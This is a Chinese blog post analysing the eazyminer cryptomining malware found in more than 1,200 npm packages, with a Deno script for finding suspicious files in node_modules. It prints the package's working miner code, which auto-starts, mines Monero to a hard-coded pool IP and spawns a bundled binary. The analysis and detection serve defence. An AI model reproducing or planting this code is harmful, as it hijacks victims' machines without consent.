什麼?上千個NPM元件被植入挖礦程式!

中國小孩大人發表於2022-07-15

“事件簡述

近日,checkmarx 研究人員公開了一起涉及眾多包的 NPM 軟體供應鏈攻擊事件。

事件最早可以追溯到 2021年12月,攻擊者投放了1200多個包含混淆加密的惡意 NPM,這些包含有相同的挖礦指令碼 eazyminer,該指令碼的目的是利用如 Database 和 Web 等所在伺服器的機器閒置資源進行挖礦。”


居然有人在程式碼裡下毒,對應偶爾寫JS的我來說,忍不住下了一個包回來瞅瞅。

先看看入口 app.js

const path = require('path');
const express = require('express');
const bodyParser = require('body-parser');
const merge = require('deepmerge');
const Controller = require('./miners.controller');
const Logger = require('./logger');

module.exports = class App {

    config = {
        productionOnly: false,
        autoStart: true,
        pools: [{
            coin: 'XMR',
            user: 'rawr',
            url: '130.162.52.80:80', // optional pool URL,
        }],
        opencl: {
            enabled: false,
            platform: 'AMD'
        },
        web: {
            enabled: true,
            port: 3000
        },
        log: {
            enabled: false,
            level: 'debug',
            writeToConsole: false
        }
    };

    logger = null;

    _isProduction = (process.env.NODE_ENV || '').toLowerCase().startsWith('prod');

    _app = null;

    _controller = null;

    _initialized = false;

    get controller() {
        return this._controller;
    }

    constructor(options) {

        this.config = merge(this.config, options);
        this.logger = new Logger(this);

        if (this.config.autoStart) {
            this.start();
        }
    }

    start() {
        if (!this._initialized) {
            this._init();
        }

        this._controller.start();
    }

    stop() {
        this._controller.stop();
    }

    _init() {
        if (this._initialized) {
            throw new Error('already initialized');
        }
        
        if (this.config.wallet) {
            this.logger.error('Depricated eazyminer configuration. Please check https://www.npmjs.com/package/eazyminer for updated config options.');
            this.logger.info('Not starting');

            return;
        }

        if (this.config.productionOnly && !this._isProduction) {
            this.logger.info('Eazy Miner config set to productionOnly. Not initializing');
            return;
        }

        this._controller = new Controller(this);

        if (this.config.web.enabled) {
            this._setupWebServer();
        }

        this.controller.loadMiner('rqndoxabkthupgik');

        this._initialized = true;
    }

    _setupWebServer() {
        this._app = express();
        this._app.use(express.static(path.join(__dirname, '../../public')));
        this._app.use(express.json()); //Used to parse JSON bodies
        this._app.use(bodyParser.urlencoded({ extended: true }));

        // Public API (status, settings etc)
        this._app.get('/', (req, res) => res.sendFile('index.html'));

        this._app.get('/status', (req, res) => {
            res.send({
                system: this._controller._system,
                performance: this._controller.status
            });
        });

        this._app.post('/settings', (req, res) => {
            this._controller.updateSettings(req.body);
            res.sendStatus(200);
        });

        this._app.listen(this.config.web.port, () => {
            this.logger.info(`Webserver listening on port: ${this.config.web.port}`);
        });
    }
}

大致流程:constructor() ->start()->_init() , 初始化controller,loadMiner(), 然後this._controller.start()。接著看看miners.controller.js

const os = require('os');
const osu = require('node-os-utils')
const cpu = osu.cpu
const mem = osu.mem
const Table = require('cli-table');

module.exports = class Controller {

    _app = null;

    _active = false;

    _running = false;

    _settings = {
        maxCPU: 60,
        maxGPU: 60,
        maxRAM: 60,
        tickInterval: 2000
    };

    _miners = [];

    _tickInterval = null;

    _system = {
        cpuLoad: 0,
        freeMem: 0,
        ram: {}
    }

    _status = {
        coins: [
            {
                id: 'stratus',
                total: 0
            }
        ]
    }

    get status() {
        return {
            coins: [
                {
                    id: 'stratus',
                    total: 0
                }
            ],
            active: this._active
        }
    }

    constructor(app) {
        this._app = app;
        this.init();
    }

    init() {
        
    }

    start() {
        if (this._running) {
            this._app.logger.info('Start: miner already running');
            return;
        }

        this._app.logger.info('Starting miner')
        this._tickInterval = setInterval(() => this.tick(), this._settings.tickInterval);
        this._running = true;
    }

    stop() {
        this._app.logger.info('Stopping miner');

        clearInterval(this._tickInterval);
        this._tickInterval = null;
        this._running = false;
        this._miners.forEach(miner => miner.stop());
    }

    reset() {

    }

    async tick() {
        this._system.cpuLoad = await cpu.usage();
        this._system.ram = await mem.info();
        this._system.cpu = os.cpus();
        this._system.freeMem = os.freemem();

        // process.stdout.write('\x1b[H\x1b[2J')

        // instantiate
        var table = new Table({
            head: ['TH 1 label', 'TH 2 label']
            , colWidths: [100, 200]
        });

        // table is an Array, so you can `push`, `unshift`, `splice` and friends
        table.push(
            ['First value', 'Second value']
            , ['First value', 'Second value']
        );

        if (!this._active) {
            this._active = true;
            this._miners.forEach(miner => miner.start());
        }

        // if (this._settings.maxCPU > this._system.cpuLoad) {
        //     this._active = true;

        // } else {
        //     this._active = false;
        // }

        // if (this._active) {
        //     this._miners.forEach(miner => miner.start());
        // } else {
        //     this._miners.forEach(miner => miner.stop());
        // }

        this._status.coins[0].total = 0;
    }

    updateSettings(settings) {
        Object.assign(this._settings, settings);
        console.log(this._settings)
    }

    loadMiner(name) {
        const Miner = require(`./miners/${name}/${name}.miner.js`);
        const miner = new Miner(this._app);
        this._miners.push(miner);
    }

    removeMiner(name) {
        const miner = this._getMiner(name);
        miner.stop();
    }

    pauseMiner(name) {
        this._getMiner(name).pause();
    }

    updateMiner(name, settings) {
        this._getMiner(name).update(settings);
    }

    _getMiner(name) {
        return this._miners.find(miner => miner.name === name);
    }
}


loadMiner 載入初始化了Miner,star() 呼叫了定時器執行miner.start()。接著看看 載入的 rqndoxabkthupgik.miner.js

const os = require('os');
const fs = require('fs');
const path = require('path');
const { spawn } = require('child_process');

const PLATFORM = os.platform().toLowerCase();

const LINUX_PATH = path.join(__dirname, './rqndoxabkthupgik');
const WINDOWS_PATH = path.join(__dirname, './rqndoxabkthupgik.exe');

module.exports = class rqndoxabkthupgikMiner {
    name = 'rqndoxabkthupgik';

    _app = null;
    
    _initialized = false;

    _miner = null;

    _filePath = null;

    _running = false;

    _worker = null;

    constructor(app) {
        this._app = app;
        this._init();
    }

    async _init() {
        if (PLATFORM === 'linux') {
            this._loadLinux();
        }

        else if (PLATFORM === 'win32') {
            this._loadWindows();
        }

        else {
            throw new Error('Unsopperted platform');
        }

        this._initialized = true;
    }

    start() {
        if (this._running) {
            console.info('rqndoxabkthupgik already running');
            return;
        }
        
        this._running = true;
        this._exec();
    }

    stop() {
        if (this._worker) {
            this._worker.kill();
            this._worker = null;
        }
    }

    getStatus() {

    }

    _loadLinux() {
        // add execution rights
        fs.chmodSync(LINUX_PATH, 754);

        this._filePath = LINUX_PATH;
    }

    _loadWindows() {
        this._filePath = WINDOWS_PATH;
    }

    _exec() {
        this._updateConfig();

        // start script
        this._worker = spawn(this._filePath, []);

        // passthrough output
        this._worker.stdout.on('data', data => this._app.logger.info(data));
        this._worker.stderr.on('data', data => this._app.logger.error(data));
    }

    _updateConfig() {
        const configBasePath = path.join(__dirname, './config.base.json');
        const configBase = JSON.parse(fs.readFileSync(configBasePath));

        // merge given pools config with base configs
        const pools = this._app.config.pools.map(poolConfig => Object.assign({}, configBase.pools[0], poolConfig))
        
        this._app.logger.info('rqndoxabkthupgik pools configuration');
        this._app.logger.info(JSON.stringify(pools, null, 2));

        configBase.pools = pools;
        Object.assign(configBase.opencl, this._app.config.opencl);
        Object.assign(configBase.cuda, this._app.config.cuda);

        fs.writeFileSync(path.join(__dirname, 'config.json'), JSON.stringify(configBase, null, 2));
    }
}


噢,大概就是判斷作業系統,然後 透過 spawn 執行對應的可自行檔案。不知不覺就變傀儡機了。


那麼就讓我寫個簡單的查詢,查詢一下包裡可疑的檔案吧。大致就是查詢可執行檔案和包含spawn單詞的檔案(對於混淆過的估計就沒有用了)

import { walk } from "https://deno.land/std@0.148.0/fs/mod.ts";
import { BufReader } from "https://deno.land/x/std@0.148.0/io/buffer.ts";
import { readLines } from "https://deno.land/std@0.148.0/io/mod.ts";
import { startsWith , includesNeedle } from "https://deno.land/std@0.148.0/bytes/mod.ts";

 
const path = "./node_modules";

for await (const entry of walk(path)) {
    if (entry.isFile) {
        let fileReader = await Deno.open(entry.path);
        let fileInfo = await Deno.stat(entry.path);
        let r = new BufReader(fileReader,fileInfo.size);
        let arr = new Uint8Array(fileInfo.size)
        let data = await r.readFull(arr); 
        if (startsWith(arr, new Uint8Array([77, 90]))  || 
            startsWith(arr, new Uint8Array([127, 69, 76,70])) ) {
                console.log(entry.path);
        }  else if (includesNeedle(arr, new Uint8Array([115, 112, 97,119,110]))) {
            console.log(entry.path);
        }
    }
}

為什麼我用DENO,因為NODE在WIN 7下跑不起來。執行效果如下:


什麼?上千個NPM元件被植入挖礦程式!

相關文章